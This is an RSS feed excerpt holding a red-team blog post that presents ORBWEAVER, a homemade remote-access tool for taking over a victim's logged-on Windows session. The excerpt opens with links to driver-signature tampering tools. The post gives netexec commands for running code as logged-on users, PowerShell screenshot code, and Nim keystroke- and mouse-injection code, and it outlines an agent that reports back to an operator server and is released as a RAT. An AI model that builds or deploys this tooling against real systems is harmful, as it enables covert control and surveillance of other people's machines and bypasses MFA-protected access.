href="https://github.com/zeze-zeze/CYBERSEC2023-BYOVD-Demo/tree/master">https://github.com/zeze-zeze/CYBERSEC2023-BYOVD-Demo/tree/master</a></li><li><strong>[020] </strong>— driver signature enforcement tampering — <a href="https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering">https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering</a></li><li><strong>[021]</strong> — Reflective driver loader GitHub — <a href="https://github.com/Professor-plum/Reflective-Driver-Loader">https://github.com/Professor-plum/Reflective-Driver-Loader</a></li><li><strong>[022] </strong>— Windows Policy Loophole: Old Certificate, New Signature Windows Kernel Cyber Threat — <a href="https://signmycode.com/blog/windows-policy-loophole-old-certificate-new-signature-windows-kernel-cyber-threat">https://signmycode.com/blog/windows-policy-loophole-old-certificate-new-signature-windows-kernel-cyber-threat</a></li><li><strong>[023] </strong>— Old certificate, new signature: Open-source tools forge signature timestamps on Windows drivers — CISCO Talos — <a href="https://blog.talosintelligence.com/old-certificate-new-signature/">https://blog.talosintelligence.com/old-certificate-new-signature/</a></li><li><strong>[024] </strong>— Back Doors for Cross-Signed Drivers — <a href="https://www.geoffchappell.com/notes/security/whqlsettings/index.htm">https://www.geoffchappell.com/notes/security/whqlsettings/index.htm</a></li></ul><h4>— — [ 7.1. Other references:</h4><ul><li>PastDSE — <a href="https://github.com/utoni/PastDSE">https://github.com/utoni/PastDSE</a></li><li>HookSigntool — <a href="https://github.com/Jemmy1228/HookSigntool">https://github.com/Jemmy1228/HookSigntool</a></li><li>MagicSigner — <a href="https://github.com/namazso/MagicSigner">https://github.com/namazso/MagicSigner</a></li><li>FuckCertVerifyTimeValidity — <a href="https://github.com/hzqst/FuckCertVerifyTimeValidity">https://github.com/hzqst/FuckCertVerifyTimeValidity</a></li><li>sign-expired — <a href="https://github.com/mathisvickie/sign-expired">https://github.com/mathisvickie/sign-expired</a></li><li>SignToolEx — <a href="https://github.com/hackerhouse-opensource/SignToolEx">https://github.com/hackerhouse-opensource/SignToolEx</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=232f49332f78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WHAT’S YOURS IS MINE! Creating a Custom Remote Desktop Application to PWN Everything!]]></title>
            <link>https://medium.com/@0x0vid/whats-yours-is-mine-creating-a-custom-remote-desktop-application-to-pwn-everything-259e11caf663?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/259e11caf663</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Fri, 27 Sep 2024 21:11:50 GMT</pubDate>
            <atom:updated>2024-09-27T21:11:50.164Z</atom:updated>
            <content:encoded><![CDATA[<p><em>TL;DR: If you can see it, I can see it. If you control it, I control it!</em></p><p><em>Also TL;DR: It’s basically a very simple RDP implementation</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J89Nd4EErZCk1hICZ4qTUQ.png" /><figcaption>ORBWEAVER screenshot</figcaption></figure><h3>— [ 0. Introduction</h3><p>Have you ever been in the following situation: You just owned the AD and got admin access to all laptops, but there are still some services/servers etc. you just can&#39;t reach? You already know from the file with URLs and IPs that the backup server is out there somewhere… but you just can&#39;t reach it! Well, I have. It&#39;s a classic. You own the infrastructure but there just isn&#39;t a tool that can steal that special token used to connect to app X or they are using app Y with MFA to connect to something else you want!</p><p>Well, fear not! In this post, we will look into my approach to getting access where traditional AD testing tools did not prove much help.</p><h4>— — [ 0.1. The scenario</h4><p>For the scenario imagine you already have administrative rights over a laptop. This laptop is used to access some sensitive assets. However, this access is not done using traditional means: RDP, Windows remoting etc.</p><p>It might be done via something like a Remote Desktop Gateway (RDGW) with MFA, TeamViewer, a cool web app requiring a Yubikey etc. The fact remains they have access and you don&#39;t.</p><h4>— — [ 0.2. What problem are we trying to solve?</h4><p>We want access, and we would like something that would work for multiple different solutions. Imagine if one is using a web app and another RDGW, then one solution would not be sufficient, and then if a third solution is used we would be straight out of luck. If the solution is homegrown then the issue is even worse, now we will have a difficult time testing and even creating a solution.</p><h3>— [ 1. Approach</h3><p>So how can we create something resembling a universal solution? Well let&#39;s lay out our different scenarios and examine what they have in common:</p><ul><li>Browser-based access — some web app is used to access whatever we want access to. This might be cloud-based or might simply be hosted somewhere where we have no direct access.</li><li>Application-based access — RDGW comes to mind … so the old trick of just doing Pass-the-hash to steal the RDP session does not work here.</li><li>Hardware-based authentication — such as a Yubikey, this will be hard to steal, and even harder to get working …</li><li>MFA — Sure you can steal the token and replay it, but what if access is restricted to an IP or other restrictions exist?</li></ul><p>All these scenarios have one thing in common, other than the fact that using traditional tools we don&#39;t have access… the thing is: the person using the laptop is accessing them.</p><p>So what is our approach? <a href="https://0xdf.gitlab.io/2022/07/16/htb-acute.html">Much inspired by the HTB Acute Machine [001]</a>, where you need to capture screenshots to get sensitive information, we will be taking a bunch of screenshots and using these for situational awareness, then sending keystrokes to emulate user actions. So in short: simulate physical access to the device!</p><h3>— [ 2. Proof of Concept</h3><h4>— — [ 2.1. Impersonating users of the system</h4><p>My whole approach to this came from my previous fascination with impersonating user sessions. But after trying that, I got nowhere. Then another similar approach popped into mind —<a href="https://www.netexec.wiki/smb-protocol/impersonate-logged-on-users"> using scheduled tasks to run in the user&#39;s context! [002]</a> Luckily for us, CME and Netexec have a module for this. I have previously used this module to great success in Pentest when I needed to check through dozens of servers looking for that one Domain Admin (DA) session to hijack for that sweet sweet DCSync!</p><p>That gives us our first step, verifying that we have access as the user and then verifying that we do in fact have access to their current session. The first can be done with netexec. For the second I’m going to take a screenshot of the user session.</p><p>The netexec part is as simple as following the instructions on the wiki and executing the following commands:</p><pre># Enumerate loggedon users<br>nxc smb &lt;ip&gt; -u &lt;localAdmin&gt; -p &lt;password&gt; --loggedon-users<br># Execute command<br>nxc smb &lt;ip&gt; -u &lt;localAdmin&gt; -p &lt;password&gt; -M schtask_as -o USER=&lt;logged-on-user&gt; CMD=&lt;cmd-command&gt;</pre><p>For the second part, I&#39;m just gonna use the code execution above to run <a href="https://stackoverflow.com/questions/2969321/how-can-i-do-a-screen-capture-in-windows-powershell">Powershell and take a screenshot [003].</a></p><pre>[Reflection.Assembly]::LoadWithPartialName(&quot;System.Drawing&quot;)<br>function screenshot([Drawing.Rectangle]$bounds, $path) {<br>   $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height<br>   $graphics = [Drawing.Graphics]::FromImage($bmp)<br>   <br>   $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)<br>   <br>   $bmp.Save($path)<br>   <br>   $graphics.Dispose()<br>   $bmp.Dispose()<br>}<br><br>$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1000, 900)<br>screenshot $bounds &quot;C:\screenshot.png&quot; # change path to somewhere writable</pre><p>And voila! we have a screenshot as the logged-on user!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZjYMHEBQb9iF2qw9zJbCA.png" /><figcaption>Running whoami as the loggedin user</figcaption></figure><h4>— — [ 2.2. Emulating user input</h4><p>Now we need to get stuff sent to the application. More specifically we need to send text as keyboard input and mouse movements (including clicks). For all of this, I will be using the Windows win32 API and writing my code in nim.</p><p><strong>First try: SendInput</strong></p><p>At first, I tried messing around with the<a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendinput?redirectedfrom=MSDN"> SendInput API [004]</a>, but I was unable to send input over RDP. <a href="https://stackoverflow.com/questions/1220820/how-do-i-send-key-strokes-to-a-window-without-having-to-activate-it-using-window">After googling around a bit I found that this was a known issue and that RDP and similar applications don’t register the inputs sent using this API [005]</a>.</p><p>Well, that sucks, luckily the StackOverflow answer provides us with an alternative: <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendmessage?redirectedfrom=MSDN">SendMessage [006]</a>.</p><p><strong>SendMessage</strong></p><p>SendMessage turns out to work! but it quickly becomes apparent that using it like we intend to provides some challenges. We can&#39;t just send keys as fast as we want otherwise some of these will not go through… and how do we send uppercase letters? and what about special chars?</p><p>Well, the answers to all the above are boring and trivial: we read the documentation and realize we just have to reverse the same process we used to input the text:</p><ul><li>first, get the char to be sent</li><li>then check if it&#39;s special or if it is uppercase</li><li>if upper case, press down shift &gt; send char &gt; release shift</li><li>if special do almost the same as uppercase</li></ul><p>Using this technique there is also a need for sleep statements to be put in as just sending everything as fast as possible does not work. The method for determining the length of sleep — is simple trial and error, lots of error.</p><p>In the end, we end up with some code looking like this:</p><pre>import winim<br><br>Sleep(1000)<br>type<br>  SendKeys = array[2, INPUT]<br><br>proc sendSingleChar(key: int) =<br>  # https://batchloaf.wordpress.com/2012/04/17/simulating-a-keystroke-in-win32-c-or-c-using-sendinput/<br><br>  # verify special char<br>  var input: SendKeys<br><br>  input[0].type = INPUT_KEYBOARD<br>  input[0].ki.wScan = 0<br>  input[0].ki.time = 0<br>  input[0].ki.dwExtraInfo = 0<br><br>  input[0].ki.wVk = (uint16)key <br>  input[0].ki.dwFlags = 0<br><br>  SendInput(1, &amp;input[0], (int32)sizeof(INPUT));<br><br>  input[1].ki.dwFlags = KEYEVENTF_KEYUP<br>  SendInput(1, &amp;input[1], (int32)sizeof(INPUT))<br>  #[]#<br><br>proc toASCIIint(key: string): int =<br>  return int(char(key[0]))<br><br>proc sendSingleCharUppercase(key:int) = <br>    var inputs: SendKeys<br>    inputs[0].type = INPUT_KEYBOARD<br>    inputs[0].ki.dwFlags = KEYEVENTF_EXTENDEDKEY<br>    inputs[0].ki.wVk = VK_RSHIFT<br>    # send key<br>    SendInput((UINT)len(inputs), &amp;inputs[0], (int32)sizeof(INPUT))<br><br>    var input: SendKeys<br><br>    input[0].type = INPUT_KEYBOARD<br>    input[0].ki.wScan = 0<br>    input[0].ki.time = 0<br>    input[0].ki.dwExtraInfo = 0<br><br>    input[0].ki.wVk = (uint16)key <br>    input[0].ki.dwFlags = 0<br><br>    SendInput(1, &amp;input[0], (int32)sizeof(INPUT));<br><br>    input[1].ki.dwFlags = KEYEVENTF_KEYUP<br>    SendInput(1, &amp;input[1], (int32)sizeof(INPUT))<br><br>    var inputs1: SendKeys<br>    inputs1[0].type       = INPUT_KEYBOARD;<br>    inputs1[0].ki.dwFlags = KEYEVENTF_KEYUP or KEYEVENTF_EXTENDEDKEY<br>    inputs1[0].ki.wVk   = VK_RSHIFT;<br>    SendInput((UINT)len(inputs1), &amp;inputs1[0], (int32)sizeof(INPUT))<br><br>proc sendString(key: string) =<br><br>  for c in key:<br>    var i = int(c)<br>    # verify if uppercase<br>    Sleep(150)  <br>    if i == 0x20:<br>      sendSingleChar(VK_SPACE)<br>    elif c == &#39;.&#39;:<br>      sendSingleChar(VK_OEM_PERIOD)<br>    elif c == &#39;=&#39;: <br>      var inputs: SendKeys<br>      inputs[0].type = INPUT_KEYBOARD<br>      inputs[0].ki.dwFlags = KEYEVENTF_EXTENDEDKEY<br>      inputs[0].ki.wVk = VK_RSHIFT<br>      SendInput((UINT)len(inputs), &amp;inputs[0], (int32)sizeof(INPUT))<br>      # send key<br>      sendSingleChar(0x30)<br><br>      inputs[0].type       = INPUT_KEYBOARD;<br>      inputs[0].ki.dwFlags = KEYEVENTF_KEYUP or KEYEVENTF_EXTENDEDKEY<br>      inputs[0].ki.wVk   = VK_RSHIFT;<br>      SendInput((UINT)len(inputs), &amp;inputs[0], (int32)sizeof(INPUT))    <br>    elif c == &#39;-&#39;: <br>      sendSingleChar(VK_OEM_MINUS)<br>    elif i &gt; 0x29 and i &lt; 0x3A:<br>      sendSingleChar(i)<br>    # uppercase<br>    elif i &gt; 0x40 and i &lt; 0x5B:<br>      #sendSingleCharUppercase(i)<br>      #[<br>      var inputs: SendKeys<br>      inputs[0].type = INPUT_KEYBOARD<br>      inputs[0].ki.dwFlags = KEYEVENTF_EXTENDEDKEY<br>      inputs[0].ki.wVk = VK_RSHIFT<br>      SendInput((UINT)len(inputs), &amp;inputs[0], (int32)sizeof(INPUT))<br>      # send key<br>      sendSingleChar(i)<br><br>      inputs[0].type       = INPUT_KEYBOARD;<br>      inputs[0].ki.dwFlags = KEYEVENTF_KEYUP or KEYEVENTF_EXTENDEDKEY<br>      inputs[0].ki.wVk   = VK_RSHIFT;<br>      SendInput((UINT)len(inputs), &amp;inputs[0], (int32)sizeof(INPUT))]#<br>      sendSingleCharUppercase(i)<br>    else:<br>      i = i - 0x20<br>      sendSingleChar(i)<br>    # handle special chars<br>    # .= <br><br>proc sendWinKey() =<br>  # win key<br>  var inputs: SendKeys<br>  # Key Down event<br>  inputs[0].type = INPUT_KEYBOARD<br>  inputs[0].ki.wVk = VK_LWIN<br><br>  # Key Up event<br>  inputs[1].type = INPUT_KEYBOARD<br>  inputs[1].ki.wVk = VK_LWIN <br>  inputs[1].ki.dwFlags = KEYEVENTF_KEYUP<br><br>  SendInput((UINT)len(inputs), &amp;inputs[0], (int32)sizeof(INPUT));<br><br>proc moveMouseWin() = <br>  # move mouse<br>  #instead of win key use mouse click in bottom left<br>  # https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-mouseinput<br>  var inputs: SendKeys<br>  inputs[0].type = INPUT_MOUSE<br>  inputs[0].mi.dx=0+5;<br>  inputs[0].mi.dy=65535-5;<br>  inputs[0].mi.dwFlags=(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_MOVE);<br>  inputs[0].mi.mouseData=0;<br>  inputs[0].mi.dwExtraInfo=0;<br>  inputs[0].mi.time=0;<br><br>  SendInput(1, &amp;inputs[0], (int32)sizeof(INPUT));<br><br>  var inputs0: SendKeys<br>  inputs0[0].type = INPUT_MOUSE<br>  inputs0[0].mi.dwFlags=(MOUSEEVENTF_LEFTDOWN or MOUSEEVENTF_LEFTUP);<br>  inputs0[0].mi.mouseData=0;<br>  inputs0[0].mi.dwExtraInfo=0;<br>  inputs0[0].mi.time=0;<br><br>  SendInput(1, &amp;inputs0[0], (int32)sizeof(INPUT));<br>  SendInput(1, &amp;inputs0[0], (int32)sizeof(INPUT));</pre><h3>— [ 3. Putting It All Together</h3><p>Now we have the components that we need! we can see what&#39;s happening on the screen and we can send user input! The next big question is how are we going to put this all together into something useful! … well the first time I used this I just sent a pre-determined selection of user inputs and hoped for a reverse shell. Not the most fancy implementation, but it worked! That is however not the implementation we are going for here, so let&#39;s make something useful!</p><h4>— — [ 3.1. The plan</h4><p>The plan is to make something resembling a poor man&#39;s RDP. For this, we need to send keys and receive screenshots. So we need some sort of server and agent combi. Also for the operator, we will need some interface to send commands and observe activity. I quickly threw together a mockup of what I roughly wanted the final product to look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/0*aYbtLkYDSLrYNVuz" /><figcaption>Web interface mockup</figcaption></figure><h4>— — [ 3.2. Architecture</h4><p>For the architecture we will therefore need three components: a server, an agent, and a web interface for the operator to use. Below is an outline of the responsibilities of each:</p><ul><li>Server — provide API endpoints and functionality to display screenshots and web pages to the operator. Receive screenshots from the agent, and serve commands to be executed.</li><li>Agent — take screenshots and send them to the server. Receive and execute commands in the form of mouse inputs and keystrokes.</li><li>Web interface — track commands sent, and provide a way of tracking where to move the mouse.</li></ul><p>Since we need some way of communicating between agent and server, I created a simple JSON data structure. This will be retrieved periodically by the agent and inform the actions to take. The agent will periodically post screenshots to the server at /screenshot.</p><pre>&quot;mouse&quot;: {<br>    &quot;x&quot;: 0,<br>    &quot;y&quot;: 0,<br>    &quot;action&quot;: &quot;&quot;<br>},<br>&quot;keystrokes&quot;: &quot;&quot;</pre><p>Nothing in the implementation is too interesting and I will therefore not document much of it. It is basically just writing a flask web server with endpoints for the agent and for the web interface. For the web interface, I used HTMX and made the CSS myself. <a href="https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_powershell_bin.nim">The agent is just the nim code from earlier, with some code to run our PowerShell [007] script that takes screenshots</a>. This is wrapped in a while loop and has some logic for sending POST and GET requests <a href="https://stackoverflow.com/questions/75069491/how-to-make-a-http-request-in-nim">[008]</a>, <a href="https://glenngillen.com/learning-nim/http-get/">[009]</a>.</p><h4>— — [ 3.3. PoC</h4><p>And after a day of messing around, we have a working PoC! It&#39;s not pretty but it proves the concept! Don&#39;t worry there is a proper demo further down! Nothing in implementation is particularly difficult. And most of the stuff you need can either be generated by ChatGPT, stolen from stack overflow, or found on GitHub!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*1wIeJoorBZc6_OGUqXvoZg.png" /><figcaption>Rough PoC</figcaption></figure><h3>— [ 4. Demo and Release of ORBWEAVER</h3><p>The PoC above leaves a bit to be desired… and it just does not look that cool! So I spent some time improving some features, making it look nice and making it a bit more user-friendly. Without any further ado, here is a demo of the final project, which I have decided to name ORBWEAVER!</p><p>In the demo the following is happening:</p><ol><li>From left to right the screens contain: a Win10 VM serving as a victim, The ORBWEAVER web interface, and a Kali VM for running netexec</li><li>First, we use netexec to check the current user and then run the agent</li><li>Next, the agent runs on the Win10 machine connecting back to the server</li><li>The server updates showing the screenshots coming in</li><li>The web interface is then used to execute commands for the agent</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SM-RBTJgXut3rgj11m1ozQ.gif" /><figcaption>ORBWEAVER demo</figcaption></figure><p>The project can be found on my GitHub: <a href="https://github.com/0xOvid/ORBWEAVER">https://github.com/0xOvid/ORBWEAVER</a></p><p>Please feel free to contribute and comment if there are any features you would like to see or if you have good ideas!</p><h3>— [ 5. Conclusion</h3><p>This has been quite an exciting project as I have always wanted this capability after seeing similar capabilities by many of the cool RATs out there like <a href="https://github.com/quasar/Quasar">Quasar [010]</a>. It turned out to be remarkably simple to implement. Sure the implementation shown here is quite simple and there is room for many improvements. But it provides a nice capability for the toolbox!</p><p>In the future, a more robust implementation would be nice for a further expanded RAT or similar software!</p><h3>— [ 6. References</h3><ul><li><strong>[001] </strong>— HTB Acute writeup by 0xDF — <a href="https://0xdf.gitlab.io/2022/07/16/htb-acute.html">https://0xdf.gitlab.io/2022/07/16/htb-acute.html</a></li><li><strong>[002] </strong>— netexec run as loggedon users — <a href="https://www.netexec.wiki/smb-protocol/impersonate-logged-on-users">https://www.netexec.wiki/smb-protocol/impersonate-logged-on-users</a></li><li><strong>[003] </strong>— StackOverflow use PowerShell to take screenshots — <a href="https://stackoverflow.com/questions/2969321/how-can-i-do-a-screen-capture-in-windows-powershell">https://stackoverflow.com/questions/2969321/how-can-i-do-a-screen-capture-in-windows-powershell</a></li><li><strong>[004] </strong>— MSDN SendInput — <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendinput?redirectedfrom=MSDN">https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendinput?redirectedfrom=MSDN</a></li><li><strong>[005] </strong>— SendInput does not work, but SendMessage does — <a href="https://stackoverflow.com/questions/1220820/how-do-i-send-key-strokes-to-a-window-without-having-to-activate-it-using-window">https://stackoverflow.com/questions/1220820/how-do-i-send-key-strokes-to-a-window-without-having-to-activate-it-using-window</a></li><li><strong>[006]</strong> — MSDN SendMessage — <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendmessage?redirectedfrom=MSDN">https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-sendmessage?redirectedfrom=MSDN</a></li><li><strong>[007] </strong>— Execute PowerShell from nim — <a href="https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_powershell_bin.nim">https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_powershell_bin.nim</a></li><li><strong>[008]</strong> — HTTP requests in nim — <a href="https://stackoverflow.com/questions/75069491/how-to-make-a-http-request-in-nim">https://stackoverflow.com/questions/75069491/how-to-make-a-http-request-in-nim</a></li><li><strong>[009]</strong> — HTTP GET — <a href="https://glenngillen.com/learning-nim/http-get/">https://glenngillen.com/learning-nim/http-get/</a></li><li><strong>[010] </strong>— Quasar RAT — <a href="https://github.com/quasar/Quasar">https://github.com/quasar/Quasar</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=259e11caf663" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>